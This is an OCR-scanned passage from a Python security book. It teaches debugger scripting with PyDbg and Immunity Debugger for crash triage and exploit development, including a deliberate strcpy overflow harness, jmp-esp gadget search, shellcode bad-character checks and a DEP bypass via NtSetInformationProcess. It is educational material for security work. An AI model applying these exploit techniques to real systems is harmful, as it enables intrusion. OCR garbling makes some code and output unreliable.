erly handled null pointers. From a security perspective, every access violation
should be reviewed carefully, as the violation might be exploited.
When an access violation occurs within a debugged process, the debugger
is responsible for handling it. It is crucial that die debugger trap all informa-
tion that is relevant, such as the stack frame, the registers, and the instruction
that caused die violation. You can now use this information as a starting point
for writing an exploit or creating a binary patch.
PyDbg has an excellent method for installing an access violation handler,
as well as utility functions to output all of the pertinent crash information.
Let’s first create a test harness that will use the dangerous C function strcpy ()
to create a buffer overflow. Following the test harness, we will write a brief
PyDbg script to attach to and handle the access violation. Let’s start with the
test script. Open a new file called bu[[er_ overflow, py, and enter the following
code.
bufferoverflow.py
from ctypes import *
msvcrt = cdll.msvcrt
# Give the debugger time to attach, then hit a button
raw_input("Once the debugger is attached, press any key.")
# Create the 5-byte destination buffer
buffer = c_char_p("AAAAA")
# The overflow string
overflow = "A" * 100
# Run the overflow
msvcrt. strcpy (buffer, overflow)
60 Chapter 4
Now that we have the test case built, open a new file called access _
violation_handler.py, and enter the following code.
accessviolationhandler.py
from pydbg import *
from pydbg. defines import *
# Utility libraries included with PyDbg
import utils
# This is our access violation handler
def check_accessv(dbg) :
# We skip first-chance exceptions
if dbg. dbg. u. Exception. dwFirstChance:
return DBG_EXCEPTION_NOT_HANDLED
crash_bin = utils. crash_binning.crash_binning()
crash_bin.record_crash(dbg)
print crash_bin.crash_synopsis()
dbg.terminate_process()
return DBG_EXCEPTION_NOT_HANDLED
pid = raw_input("Enter the Process ID: ")
dbg = pydbg ()
dbg. attach (int (pid))
dbg.set_callback(EXCEPTION_ACCESS_VIOLATION,check_accessv)
dbg. run ()
Now run the buffer_overflow.py file and take note of its PID; it will pause
until you are ready to let it run. Execute the access_violation_handler.py file,
and enter the PID of the test harness. Once you have the debugger attached,
hit any key in the console where the harness is running, and you will see
output similar to Listing 4-1.
O python25.dll:le07lcd8 mov ecx, [eax+Ox54] from thread 3376 caused access
violation when attempting to read from 0x41414195
© CONTEXT DUMP
EIP: Ie07lcd8 mov ecx, [eax+Ox54]
EAX: 41414141 (1094795585) -> N/A
EBX: 00b055d0 ( 11556304) -> @U'" B'0x,'0 )Xb@|V' "L{0+H]$6 (heap)
ECX: 002lfe90 ( 2227856) -> ! $4 | 7 | 4 |@%,\ ! $H8 | !0GGBG)00S\o (stack)
EDX: 00aldc60 ( 10607712) -> VO'w'W (heap)
EDI: Ie07lcd0 ( 503782608) -> N/A
ESI: 00a84220 ( 11026976) -> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (heap)
EBP: lelcf448 ( 505214024) -> enableQ -> NoneEnable automa (stack)
ESP: 002lfe74 ( 2227828) -> 2? BUH' 7 | 4 | @%,\ ! $H8 | 10GGBG) (stack)
PyDbg — A Pure Python Windows Debugger
61
+oo: oooooooo (
o)
+04: le063f32 (
503725874)
+08: 00a84220 (
11026976)
+0C : oooooooo (
0)
+10: oooooooo (
0)
+14: 00b055c0 (
11556288)
-> N/A
-> N/A
-> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA (heap)
-> N/A
-> N/A
-> (8F(a>U'" B'Ox/O )Xb(5> | V' " L{0+H]$ (heap)
© disasm
around:
0xle07lcc9
0xle07lcca
0xle07lccb
0xle07lccc
0xle07lccd
0xle07lcce
0xle07lccf
0xle07lcd0
0xle07lcdl
0xle07lcd5
0xle07lcd8
0xle07lcdb
0xle07lcde
0xle07lce0
0xle07lce6
0xle07lce8
0xle07lcea
0xle07lceb
0xle07lced
0xle07lcf0
0xle07lcf2
int3
int3
int3
int3
int3
int3
int3
push esi
mov esi, [esp+Ox8]
mov eax, [esi+Ox4]
mov ecx, [eax+Ox54]
test ch,Ox40
jz 0xle07lcff
mov eax, [eax+Oxa4]
test eax, eax
jz 0xle07lcf4
push esi
call eax
add esp,Ox4
test eax, eax
jz 0xle07lcff
© SEH unwind:
002lffe0 -> python. exe:ldOOl36c jmp [0xld002040]
ffffffff -> kernel32.dll:7c839aa8 push ebp
Listing 4-1: Crash output using PyDbg crash binning utility
The output reveals many pieces of useful information. The first portion O
tells you which instruction caused the access violation as well as which module
that instruction lives in. This information is useful for writing an exploit or if
you are using a static analysis tool to determine where the fault is. The second
portion © is the context dump of all the registers; of particular interest is
that we have overwritten EAX with 0x41414141 (0x41 is the hexadecimal value of
the capital letter A). As well, we can see that the ESI register points to a string
of A characters, the same as for a stack pointer at ESP+08. The third section ©
is a disassembly of the instructions before and after the faulting instruction,
and the final section © is the list of structured exception handling (SEH) handlers
that were registered at the time of the crash.
You can see how simple it is to set up a crash handler using PyDbg. It is
an incredibly useful feature that enables you to automate the crash handling
and postmortem of a process that you are analyzing. Next we are going to use
PyDbg’s internal process snapshotting capability to build a process rewinder.
62 Chapter 4
4.3 Process Snapshots
PyDbg comes stocked with a very cool feature called process snapshotting. Using
process snapshotting you are able to freeze a process, obtain all of its memory,
and resume the process. At any later point you can revert the process to the
point where the snapshot was taken. This can be quite handy when reverse
engineering a binary or analyzing a crash.
4.3. 1 Obtaining Process Snapshots
Our first step is to get an accurate picture of what the target process was up
to at a precise moment. In order for the picture to be accurate, we need to
first obtain all threads and their respective CPU contexts. As well, we need to
obtain all of the process’s memory pages and their contents. Once we have
this information, it’s just a matter of storing it for when we want to restore a
snapshot.
Before we can take the process snapshots, we have to suspend all threads
of execution so that they don’t change data or state while the snapshot is being
taken. To suspend all threads in PyDbg, we use suspend_all_threads(), and to
resume all the threads, we use the aptly named resume_all_threads(). Once we
have suspended the threads, we simply make a call to process_snapshot(). This
automatically fetches all of the contextual information about each thread
and all memory at that precise moment. Once the snapshot is finished, we
resume all of the threads. When we want to restore the process to the snapshot
point, we suspend all of the threads, call process_restore(), and resume all of
the threads. Once we resume the process, we should be back at our original
snapshot point. Pretty neat, eh?
To try this out, let’s use a simple example where we allow a user to hit a
key to take a snapshot and hit a key again to restore the snapshot. Open a
new Python file, call it snapshot. py, and enter the following code.
snapshot.py
from pydbg import *
from pydbg. defines import *
import threading
import time
import sys
class snapshotter(object) :
def init (self,exe_path) :
self ,exe_path
self .pid
self .dbg
self .running
= exe_path
= None
= None
= True
PyDbg — A Pure Python Windows Debugger
63
O # Start the debugger thread, and loop until it sets the PID
# of our target process
pydbgjthread = threading. Thread(target=self .start_debugger)
pydbg_thread . setDaemon(o)
pydbg_thread . start ( )
while self.pid == None:
time.sleep(l)
© # We now have a PID and the target is running; let's get a
# second thread running to do the snapshots
monitor_thread = threading. Thread(target=self.monitor_debugger)
monitor_thread . setDaemon (o)
monitor_thread . start ( )
© def monitor_debugger(self) :
while self. running == True:
input = raw_input("Enter: ' snap' restore' or 'quit'")
input = input. lowerQ ,strip()
if input == "quit":
print "[*] Exiting the snapshotter. "
self. running = False
self .dbg. terminate_process()
elif input == "snap" :
print "[*] Suspending all threads."
self . dbg . suspend_all_threads ( )
print "[*] Obtaining snapshot."
self . dbg . process_snapshot ( )
print "[*] Resuming operation."
self . dbg . resume_all_threads ( )
elif input == "restore":
print "[*] Suspending all threads."
self . dbg . suspend_all_threads ( )
print "[*] Restoring snapshot."
self . dbg . process_restore( )
print "[*] Resuming operation."
self . dbg . resume_all_threads ( )
© def start_debugger(self) :
self. dbg = pydbg()
64 Chapter 4
pid = self .dbg. load (self ,exe_path)
self.pid = self. dbg. pid
self .dbg. run()
© exe_path = "C:\\WINDOWS\\System32\\calc.exe"
snapshotter(exe_path)
So the first step O is to start the target application under a debugger
thread. By using separate threads, we can enter snapshotting commands
without forcing the target application to pause while it waits for our input.
Once the debugger thread has returned a valid PID ©, we start up a new
thread that will take our input ©. Then when we send it a command, it will
evaluate whether we are taking a snapshot, restoring a snapshot, or quitting
© — pretty straightforward. The reason I picked Calculator as an example
application © is that we can actually see this snapshotting process in action.
Enter a bunch of random math operations into the calculator, enter snap into
our Python script, and then do some more math or hit the Clear button. Then
simply type restore into our Python script, and you should see the numbers
revert to our original snapshot point! Using this technique you can walk
through and rewind certain parts of a process that are of interest without
having to restart the process and get it to that exact state again. Now let’s
combine some of our new PyDbg techniques to create a fuzzing assistance
tool that will help us find vulnerabilities in software applications and automate
crash handling.
4.3.2 Putting It All Together
Now that we have covered some of the most useful features of PyDbg, we will
build a utility program to help root out (pun intended) exploitable flaws in
software applications. Certain function calls are more prone to buffer over-
flows, format string vulnerabilities, and memory corruption. We want to pay
particular attention to these dangerous functions.
The tool will locate the dangerous function calls and track hits to those
functions. When a function that we deemed to be dangerous gets called, we
will dereference four parameters off the stack (as well as the return address
of the caller) and snapshot the process in case that function causes an over-
flow condition. If there is an access violation, our script will rewind the process
to the last dangerous function hit. From there it single-steps the target applica-
tion and disassembles each instruction until we either throw the access
violation again or hit the maximum number of instructions we want to inspect.
Anytime you see a hit on a dangerous function that matches data you have
sent to the application, it is worth taking a look at whether you can manipulate
the data to crash the application. This is the first step toward creating an
exploit.
Warm up your coding fingers, open a new Python script called danger_
track.py, and enter the following code.
PyDbg — A Pure Python Windows Debugger
65
danger track.py
from pydbg import *
from pydbg. defines import *
import utils
# This is the maximum number of instructions we will log
# after an access violation
MAX INSTRUCTIONS = 10
# This is far from an exhaustive list; add more for bonus points
dangerous_functions = {
"strcpy"
"strncpy"
"sprintf "
"vsprintf"
"msvcrt.dll",
"msvcrt.dll" ,
"msvcrt.dll",
"msvcrt.dll"
}
dangerous_functions_resolved = {}
crash_encountered = False
instruction count = 0
def danger_handler(dbg) :
# We want to print out the contents of the stack; that's about it
# Generally there are only going to be a few parameters, so we will
# take everything from ESP to ESP+20, which should give us enough
# information to determine if we own any of the data
esp_offset = 0
print "[*] Hit %s" % dangerous_functions_resolved[dbg. context. Eip]
print "===========================================================-
while esp_offset <= 20:
parameter = dbg. smart_dereference(dbg. context. Esp + esp_offset)
print "[ESP + %d] => %s" % (esp_offset, parameter)
esp_offset += 4
print "=================================================================\n"
dbg.suspend_all_threads()
dbg.process_snapshot()
dbg.resume_all_threads()
return DBG CONTINUE
def access_violation_handler(dbg) :
global crash_encountered
# Something bad happened, which means something good happened :)
# Let's handle the access violation and then restore the process
# back to the last dangerous function that was called
if dbg. dbg. u. Exception. dwFirstChance:
66 Chapter 4
return DBG_EXCEPTION_NOT_HANDLED
crash_bin = utils. crash_binning.crash_binning()
crash_bin . record_crash (dbg)
print crash_bin.crash_synopsis()
if crash_encountered == False:
dbg.suspend_all_threads()
dbg.process_restore()
crash_encountered = True
# We flag each thread to single step
for thread_id in dbg.enumerate_threads() :
print "[*] Setting single step for thread: 0x%08x" % thread_id
h_thread = dbg.open_thread(thread_id)
dbg.single_step(True, h_thread)
dbg.close_handle(h_thread)
# Now resume execution, which will pass control to our
# single step handler
dbg.resume_all_threads()
return DBG_CONTINUE
else:
dbg.terminate_process()
return DBG_EXCEPTION_NOT_HANDLED
def single_step_handler(dbg) :
global instruction_count
global crash_encountered
if crash_encountered:
if instruction_count == MAX_INSTRUCTIONS:
dbg.single_step(False)
return DBG_CONTINUE
else:
# Disassemble this instruction
instruction = dbg. disasm(dbg. context. Eip)
print "#%d\t0x%08x : %s" % (instruction_count, dbg. context. Eip,
instruction)
instruction_count += 1
dbg.single_step(True)
return DBG CONTINUE
dbg = pydbg()
pid = int(raw_input("Enter the PID you wish to monitor: "))
PyDbg — A Pure Python Windows Debugger
67
dbg.attach(pid)
# Track down all of the dangerous functions and set breakpoints
for func in dangerous_functions.keys() :
func_address = dbg.func_resolve( dangerous_functions[func] ,func )
print "[*] Resolved breakpoint: %s -> 0x%08x" % ( func, func_address )
dbg.bp_set( func_address, handler = danger_handler )
dangerous_functions_resolved[func_address] = func
dbg.set_callback( EXCEPTION_ACCESS_VIOLATION, access_violation_handler )
dbg.set_callback( EXCEPTION_SINGLE_STEP, single_step_handler )
dbg. run ()
There should be no big surprises in die preceding code block, as we have
covered most of the concepts in our previous PyDbg endeavors. The best way
to test the effectiveness of this script is to pick a software application that is
known to have a vulnerability , 2 attach the script, and then send the required
input to crash the application.
We have taken a solid tour of PyDbg and a subset of the features it pro-
vides. As you can see, the ability to script a debugger is extremely powerful
and lends itself well to automation tasks. The only downside to this method is
that for every piece of information you wish to obtain, you have to write code
to do it. This is where our next tool, Immunity Debugger, bridges the gap
between a scripted debugger and a graphical debugger you can interact with.
Let’s carry on.
2 A classic stack-based overflow can be found in WarFTPD 1.65. You can still download this FTP
server from http://support.jgaa.com/index.php ?cmd=Download Version &ID=1.
68 Chapter 4
IMMUNITY DEBUGGER —
THE BEST OF BOTH WORLDS
Now that we have covered how to build our own
debugger and how to use a pure Python debugger
in the form of PyDbg, it’s time to explore Immunity
Debugger, which has a full user interface as well as
the most powerful Python library to date for exploit development, vulner-
ability discovery, and malware analysis. Released in 2007, Immunity Debugger
has a nice blend of dynamic (debugging) capabilities as well as a very power-
ful analysis engine for static analysis tasks. It also sports a fully customizable,
pure Python graphing algorithm for plotting functions and basic blocks.
We’ll take a quick tour of Immunity Debugger and its user interface to get us
warmed up. Then we’ll dig into using Immunity Debugger during the exploit
development lifecycle and to automatically bypass anti-debugging routines in
malware. Let’s get started by getting Immunity Debugger up and running.
5.1 Installing Immunity Debugger
Immunity Debugger is provided and supported 1 free of charge, and it’s only
a download link away: http://debugger.immunityinc.com/.
Simply download the installer and execute it. If you don’t already have
Python 2.5 installed, it’s no big deal, as the Immunity Debugger installer
contains the Python 2.5 installer and will install Python for you if need it.
Once you execute the file, Immunity Debugger is ready for use.
5.2 Immunity Debugger 101
Let’s take a quick tour of Immunity Debugger and its interface before digging
into immlib, the Python library that enables you to script the debugger. When
you first open Immunity Debugger you should see the interface shown in
Figure 5-1 .
+ Immunity Debugger - [CPU]
File View Debug Plugins ImmLib Options Window Help Jobs - Ifll x|
Immunity Debugger vl.73 : MOAR BUGS. " Need support? visit httpV/forum. immunityinc.com/ "
Ready
Figure 5-1 : Immunity Debugger main interface
The main debugger interface is divided into five primary sections. The top
left is the CPU pane, where the assembly code of the process is displayed. The
top right is the registers pane, where all of the general-purpose registers and
other CPU registers are displayed. The bottom left is the memory dump pane,
where you can see hexadecimal dumps of any memory location you chose. The
bottom right is the stack pane, where the call stack is displayed; it also shows
you decoded parameters of functions that have symbol information (such as
any native Windows API calls) . The bottom white pane is the command bar,
where you can use WinDbg-style commands to control the debugger. This is
also where you execute PyCommands, which we will cover next.
1 For debugger support and general discussions visit http://forum.immunityinc.com.
70 Chapter 5
5.2. 1 PyCommands
The main method for executing Python inside Immunity Debugger is by
using PyCommands. 2 PyCommands are Python scripts that are coded to
perform various tasks inside Immunity Debugger, such as hooking, static
analysis, and various debugging functionalities. Every PyCommand must
have a certain structure in order to execute properly. The following code
snippet shows a basic PyCommand that you can use as a template when
creating your own PyCommands:
from immlib import *
def main(args) :
# Instantiate a immlib. Debugger instance
imm = Debugger ()
return "[*] PyCommand Executed!"
In every PyCommand there are two primary prerequisites. You must have
a mainQ function defined, and it must accept a single parameter, which is a
Python list of arguments to be passed to the PyCommand. The other pre-
requisite is that it must return a string when it’s finished execution; the main
debugger status bar will be updated with this string when the script has
finished running.
When you want to run a PyCommand, you must ensure that your script is
saved in the PyCommands directory in the main Immunity Debugger install
directory. To execute your saved script, simply enter an exclamation mark
followed by the script name into the command bar in the debugger, like so:
!<scriptname>
Once you hit ENTER, your script will begin executing.
5.2.2 PyHooks
Immunity Debugger ships with 13 different flavors of hooks, each of which
you can implement as either a standalone script or inside a PyCommand at
runtime. The following hook types can be used:
BpHook/LogBpHook
When a breakpoint is encountered, these types of hooks can be called.
Both hook types behave the same way, except that when a BpHook
is encountered it actually stops debuggee execution, whereas the
LogBpHook continues execution after the hook is hit.
AllExceptHook
Any exception that occurs in the process will trigger the execution of this
hook type.
2 For a full set of documentation on the Immunity Debugger Python library, refer to http://
debugger, immunityinc. com/ update/Documentation/ ref/.
Immunity Debugger — The Best of Both Worlds 71
PostAnalysisHo ok
After the debugger has finished analyzing a loaded module, this hook
type is triggered. This can be useful if you have some static-analysis tasks
you want to occur automatically once the analysis is finished. It is impor-
tant to note that a module (including the primary executable) needs to
be analyzed before you can decode functions and basic blocks using
immlib.
AccessViolationHook
This hook type is triggered whenever an access violation occurs; it is most
useful for trapping information automatically during a fuzzing run.
LoadDLLHook/UnloadDLLHook
This hook type is triggered whenever a DLL is loaded or unloaded.
CreateThreadHo ok/ExitThreadHo ok
This hook type is triggered whenever a new thread is created or
destroyed.
CreateProcessHook/ExitProcessHook
This hook type is triggered when the target process is started or exited.
FastLogHook/STDCALLFastLogHook
These two types of hooks use an assembly stub to transfer execution to a
small body of hook code that can log a specific register value or memory
location at hook time. These types of hooks are useful for hooking fre-
quently called functions; we will cover using them in Chapter 6.
To define a PyHook you can use the following template, which uses a
LogBpHook as an example:
from immlib import *
class MyHook( LogBpHook ):
def init ( self ):
LogBpHook. init ( self )
def run( regs ):
# Executed when hook gets triggered
We overload the LogBpHook class and make sure that we define a run()
function. When the hook gets triggered, the run() method accepts as its only
argument all of the CPU’s registers, which are all set at the exact moment the
hook is triggered so that we can inspect or change the values as we see fit.
The regs variable is a dictionary that we can use to access the registers by
name, like so:
regs["ESP"]
72 Chapter 5
Now we can either define a hook inside a PyCommand that can be set
whenever we execute the PyCommand, or we can put our hook code in the
PyHooks directory in the main Immunity Debugger directory, and our hook
will automatically be installed every time Immunity Debugger is started. Now
let’s move on to some scripting examples using immlib, Immunity Debugger’s
built-in Python library.
5.3 Exploit Development
Finding a vulnerability in a software system is only the beginning of a long and
arduous journey on your way to getting a reliable exploit working. Immunity
Debugger has many design features in place to make this journey a little easier
on the exploit developer. We will develop some PyCommands to speed up
the process of getting a working exploit, including a way to find specific
instructions for getting EIP into our shellcode and to determine what bad
characters we need to filter out when encoding shellcode. We’ll also use the
Ifindantidep PyCommand that comes with Immunity Debugger to assist in
bypassing software data execution prevention (DEP) , 3 Let’s get started!
5.3. 1 Finding Exploit-Friendly Instructions
After you have obtained EIP control, you have to transfer execution to your
shellcode. Typically, you will have a register or an offset from a register that
points to your shellcode, and it’s your job to find an instruction somewhere
in the executable or one of its loaded modules that will transfer control to
that address. Immunity Debugger’s Python library makes this easy by providing
a search interface that allows you to search for specific instructions throughout
the loaded binary. Let’s whip up a quick script that will take an instruction
and return all addresses where that instruction lives. Open a new Python file,
name it findinstruction.py, and enter the following code.
findmstruction.py
from immlib import *
def main(args) :
imm = Debugger ()
search_code = " ".join(args)
O search_bytes = imm.Assemble( search_code )
© search_results = imm.Search( search_bytes )
for hit in search results:
3 An in-depth explanation of DEP can be found at http://support.microsoft.com/kb/875352/
EN-US/.
Immunity Debugger — The Best of Both Worlds 73
Q ®
# Retrieve the memory page where this hit exists
# and make sure it's executable
code_page = imm.getMemoryPagebyAddress( hit )
access = code_page.getAccess( human = True )
if "execute" in access. lowerQ :
imm.log( "[*] Found: %s (0x%08x)" % ( search_code, hit ),
address = hit )
return "[*] Finished searching for instructions, check the Log window.
We first assemble the instructions we are searching for O, and then we
use the Search () method to search all of the memory in the loaded binary for
the instruction bytes ©. From the returned list we iterate through all of the
addresses to retrieve the memory page where the instruction lives © and
make sure the memory is marked as executable ©. For every instruction we
find in an executable page of memory, we output the address to the Log
window. To use the script, simply pass in the instruction you are searching
for as an argument, like so:
Ifindinstruction <instruction to search for>
After running the script like this,
Ifindinstruction jmp esp
you should see output similar to Figure 5-2.
769D21EF
[*]
Founds
JMP
esp
(0n769d21ef )
769ERPF6
[#]
Founds
JMP
esp
(0«769eaaf6)
769ED099
[#]
Found!
JMP
esp
(0x769ed099)
77F7F02F
[*]
Found!
JMP
esp
(0x77f7f02f )
77FPB1 17
[*]
Found!
JMP
esp
(0x77fabll7)
77FE24F3
[#]
Found!
JMP
esp
(0x77f e24f 3)
7E45B0E0
[#]
Found!
JMP
esp
(0x7e45b0e0)
77156412
[#]
Found!
JMP
esp
(0x77156412)
7C9C2633
[#]
Found!
JMP
esp
(0x7c9c2633)
7CP76989
[#]
Found!
JMP
esp
(0x7ca76989)
7CB3E592
[#]
Found!
JMP
esp
(0x7cb3e592)
7CB558CD
[#]
Found:
JMP
esp
(0x7cb558cd)
76B43PE0
[#]
Found!
JMP
esp
(0x76b43ae0)
77E8512E
[#]
Found!
JMP
esp
(0x77e8512e)
77DF2740
[#]
Found!
JMP
esp
(0x77df2740)
77E11C2B
[#]
Found:
JMP
esp
(0x77ellc2b)
77E3762B
[*]
Found!
JMP
esp
(0x77e3762b)
77E383ED
[#]
Found:
JMP
esp
(0x77e383ed)
llfindinstruction jmp esp
[*] Finished searching for instructions, check the Log window.
Figure 5-2: Output from the Ifindinstruction
PyCommand
We now have a list of addresses that we can use to get shellcode
execution — assuming our shellcode starts at ESP, that is. Each exploit may
vary a little bit, but we now have a tool to quickly find addresses that will
assist in getting the shellcode execution we all know and love.
74 Chapter 5
5.3.2 Bad-Character Filtering
When you send an exploit string to a target system, there are sets of characters
that you will not be able to use in your shellcode. For example, if we have
found a stack overflow from a strcpyQ function call, our exploit can’t contain
a NULL character (0x00) because the strcpyQ function stops copying data
as soon as it encounters a NULL value. Therefore exploit writers use shellcode
encoders, so that when the shellcode is run it gets decoded and executed in
memory. However, there are still going to be certain cases where you may have
multiple characters that get filtered out or get treated in some special way by
the vulnerable software, and this can be a nightmare to determine manually.
Generally, if you are able to verify that
you can get EIP to start executing your
shellcode, and then your shellcode throws
an access violation or crashes the target
before finishing its task (either connecting
back, migrating to another process, or a
wide range of other nasty business that
shellcode does), you should first make sure
that your shellcode is being copied in mem-
ory exactly as you want it to be. Immunity
Debugger can make this task much easier
for you. Take a look at Figure 5-3, which
shows the stack after an overflow.
We can see that the EIP register is
currently pointing at the ESP register. The
4 bytes of OxCC simply make the debugger
stop as if there was a breakpoint set at this
address (remember, OxCC is the INT3 instruc-
tion) . Immediately following the four I NT 3
instructions, at offset ESP+0x4, is the begin-
ning of the shellcode. It is there that we
should begin searching through memory to
make sure that our shellcode is exactly as we
sent it from our attack. We will simply take
our shellcode as an ASCII-encoded string
and compare it byte-for-byte in memory to
make sure that all of our shellcode made
it in. If we notice a discrepancy and then
output the bad byte that didn’t make it
through the software’s filter, we can
then add that character to our shellcode
encoder before rerunning the attack!
You can copy and paste shellcode from
CANVAS, Metasploit, or your own home-
brewed shellcode to test out this tool. Open
[Registers (FPU) ]
EPX 00000001
ECX 00000001
EDX 00000000
EBX 00000000
ESP 00PEFD48
EBP 00PEFDA0
ESI 7C80929C kerne 132. Get T ick Count
EDI 00PEFE48
EIP 00PEFD4A
CCCCCCCC
Iflrlrlr
ESP+4
EB5F03EB
ESP+8
FFFSE805
ESP+C
C933FFFF
3|r
ESP+10
478D87B1
m\G
ESP+14
28E8833P
:af<
ESP+18
3780C787
9IHP7
ESP+1C
FPE247FE
■Gr-
ESP+20
7D1B77PB
ESP+24
FE16PE12
*«-■
ESP+28
P5FEFEFE
■ ■■n
ESP+2C
127D2277
W M >*
ESP+30
FE1P7FDE
|6+a
ESP+34
73010101
000S
ESP+38
FEFEP07D
>aaa
ESP+3C
0194PEFE
■ «O0
ESP+40
FEDB779P
uufl-
ESP+44
7DFEFEFE
■ ■■>
ESP+48
779PF23P
:>uw
ESP+4C
FEFEFPDB I ■■
ESP+50
F2127DFE
■ >*>
ESP+54
F6DB779P
Ciufl-i-
ESP+58
CFFEFEFE
■ ■■—
ESP+5C
8P6D7508 Dune
ESP+60
75FEFEFE
■ ■■u
ESP+64
FEFE8675
uSaa
ESP+68
C7F875FE
■U<>|F
ESP+6C
75F78B3F
?isu
ESP+70
3CC7FPB8
=1 IK
ESP+74
FD15FC8B
i«S J
ESP+78
731015B8
=|S^s
ESP+7C
08CFF6B8
ESP+80
FECB779R
CiWir"
ESP+84
01FEFEFE
■ ■■0
ESP+88
DPBP752E
.u|| r
ESP+8C
FE5EFBF2
>J*m
ESP+90
C675FEFE
■ ■u F
ESP+94
EEFE397F
09a €
ESP+98
C677FEFE
aaw F
ESP+9C
C43D3ECF
->=-
ESP+P0
D4CDD1CC
Ir^ fc
ESP+P4
20D1CECP
^rr
a new Python file, name it badchar.py, and
enter the following code.
Figure 5-3: Immunity Debugger
stack window after overflow
Immunity Debugger — The Best of Both Worlds 75
badchar.py
from immlib import *
def main(args) :
imm = Debugger ()
bad_char_found = False
# First argument is the address to begin our search
address = int(args[o],l6)
# Shellcode to verify
shellcode = "«C0PY AND PASTE YOUR SHELLCODE HERE»"
shellcode_length = len(shellcode)
debug_shellcode = imm.readMemory( address, shellcodeJLength )
debug_shellcode = debug_shellcode.encode("HEX")
imm.log("Address: 0x%08x" % address)
imm.log("Shellcode Length : %d" % length)
imm.log("Attack Shellcode: %s" % canvas_shellcode[ : 512] )
imm.log("In Memory Shellcode: %s" % id_shellcode[:5l2])
# Begin a byte-by-byte comparison of the two shellcode buffers
count = 0
while count <= shellcodeJLength:
if debug_shellcode[count] != shellcode[count] :
imm.log("Bad Char Detected at offset %d" % count)
bad_char_found = True
break
count += 1
if bad_char_found:
imm. log(" [*****] ")
imm.log("Bad character found: %s" % debug_shellcode[count] )
imm.log("Bad character original: %s" % shellcode[count] )
imm. log(" [*****] ")
return "[*] Ibadchar finished, check Log window."
In this scripting scenario, we are really only using the readMemoryQ call
from the Immunity Debugger library, and the rest of the script is simple
Python string comparisons. Now all you need to do is take your shellcode as
an ASCII string (if you had the bytes OxEB 0x09, then your string should look
like EB09, for example) , paste it into the script, and run it like so:
Ibadchar <Address to Begin Search>
76 Chapter 5
In our previous example, we would begin our search at ESP+0x4, which
has an absolute address of 0x00AEFD4C, so we’d run our PyCommand like so:
Ibadchar 0x00AEFD4c
Our script would immediately alert us to any issues with bad-character
filtering, and it would greatly reduce the time spent trying to debug crashing
shellcode or reversing out any filters we might encounter.
5.3.3 Bypassing DIP on Windows
DEP is a security measure implemented in Microsoft Windows (XP SP2, 2003,
and Vista) to prevent code from executing in memory regions such as the
heap and the stack. This can foil most attempts at getting an exploit to run its
shellcode properly, because most exploits store their shellcode in the heap
or the stack until it is executed. However, there is a known trick 4 whereby we
use a native Windows API call to disable DEP for the current process we are
executing in, which allows us to safely transfer control back to our shellcode
regardless of whether it’s stored on the stack or the heap. Immunity Debugger
ships with a PyCommand called findantidep.py that will determine the appro-
priate addresses to set in your exploit so that DEP will be disabled and your
shellcode will run. We’ll quickly examine the bypass at a high level and then
use the provided PyCommand to find our desired addresses.
The Windows API call that you can use to disable DEP for a process
is the undocumented function NtSetlnformationProcessQ, 5 which has a
prototype like so:
NTSTATUS NtSetInformationProcess(
IN HANDLE hProcessHandle,
IN PR0CESS_INF0RMATI0N_CLASS ProcessInformationClass,
IN PVOID Processlnformation,
IN ULONG ProcessInformationLength );
In order to disable DEP for a process you need to make a call to
NtSetlnformationProcessQ with the ProcessInformationClass set to Process-
ExecuteFlags (0x22) and the Processlnformation parameter set to MEM_EXECUTE
_0PTI0N_ENABLE (0x2). The problem with simply setting up your shellcode
to make this call is that it takes some NULL parameters as well, which is
problematic for most shellcode (see “Bad-Character Filtering” on page 75) .
So the trick involves landing our shellcode in the middle of a function that
will call NtSetlnformationProcessQ with the necessary parameters already on
the stack. There is a known spot in ntdll.dll that will accomplish this for us.
Take a peek at the disassembly output from ntdll.dll on Windows XP SP2
captured using Immunity Debugger.
4 See Skape and Skywing’s paper at http:/ / wwiu. uninformed.org/ ?v=2&a=40?t=txt.
5 The NtSetlnformationProcess () function definition can be found at http://undocumented.ntintemals
.net/UserMo<h’/Un<U)cummti’d%20Functions/NT%200bjects/Process/NtSetInf(mnationPmcess.htvil.
Immunity Debugger — The Best of Both Worlds 77
7 C 91 D 3 F 8
. 3C 01
CMP AL, 1
7 C 91 D 3 FA
. 6A 02
PUSH 2
7 C 91 D 3 FC
. 5E
POP ESI
7 C 91 D 3 FD
. 0F84 B72A0200
HE ntdll. 7 C 93 FEBA
7 C 93 FEBA
> 8975 FC
MOV DWORD PTR SS: [EBP-4] , ESI
7 C 93 FEBD
• A E9 41 D 5 FDFF
IMP ntdll. 7 C 91 D 403
7 C 91 D 403
> 837D FC 00
CMP DWORD PTR SS: [EBP-4], 0
7 C 91 D 407
. OF85 60890100
JNZ ntdll. 7C935D6D
7 C 935 D 6 D
> 6A 04
PUSH 4
7 C 935 D 6 F
. 8D45 FC
LEA EAX, DWORD PTR SS: [EBP-4]
7 C 935 D 72
. 50
PUSH EAX
7 C 935 D 73
. 6A 22
PUSH 22
7 C 935 D 75
. 6A FF
PUSH -1
7 C 935 D 77
. E8 B188FDFF
CALL ntdll. ZwSetlnformationProcess
Following this code flow, we see a comparison against AL for the value
of l, and then ESI is filled with the value 2 . If AL evaluates to l, then there
is a conditional jump to Ox7C93FEBA. From there ESI gets moved into a stack
variable at EBP-4 (remember that ESI is still set to 2). Then there is an uncon-
ditional jump to Ox7C9lD403, which checks our stack variable (still set to 2 ) to
make sure it’s non-zero, and then a conditional jump to Ox7C935D6D. Here is
where it gets interesting; we see the value 4 being pushed to the stack, our
EBP-4 variable (still set to 2 !) being loaded into the EAX register, then that
value being pushed onto the stack, followed by the value 0 x 22 being pushed
and the value of -1 (-1 as a process handle tells the function call that it’s
the current process to be DEP-disabled) being pushed, and then a call to
ZwSetlnformationProcess (an alias for NtSetlnformationProcess). So really
what’s happened in this code flow is a function call being set up for
NtSetlnformationProcessQ, like so:
NtSetInformationProcess( -1, 0x22, 0x2, 0x4 )
Perfect! This will disable DEP for the current process, but we first have
to get our exploit code to land us at OX7C91D3F8 in order to have this code
executed. Before we hit that spot we also need to make sure that we have AL
(the low byte in the EAX register) set to 1. Once we have met these two pre-
requisites, we will then be able to transfer control back to our shellcode like
any other overflow, via a IMP ESP instruction, for example. So to review our
three prerequisite addresses we need:
• An address that sets AL to 1 and then returns
• The address where the code sequence for disabling DEP is located
• An address to return execution to the head of our shellcode
Normally you would have to hunt around manually for these addresses,
but the exploit developers at Immunity have created a little Python called
78 Chapter 5
findantidep.py, which has a wizard that guides you through the process of
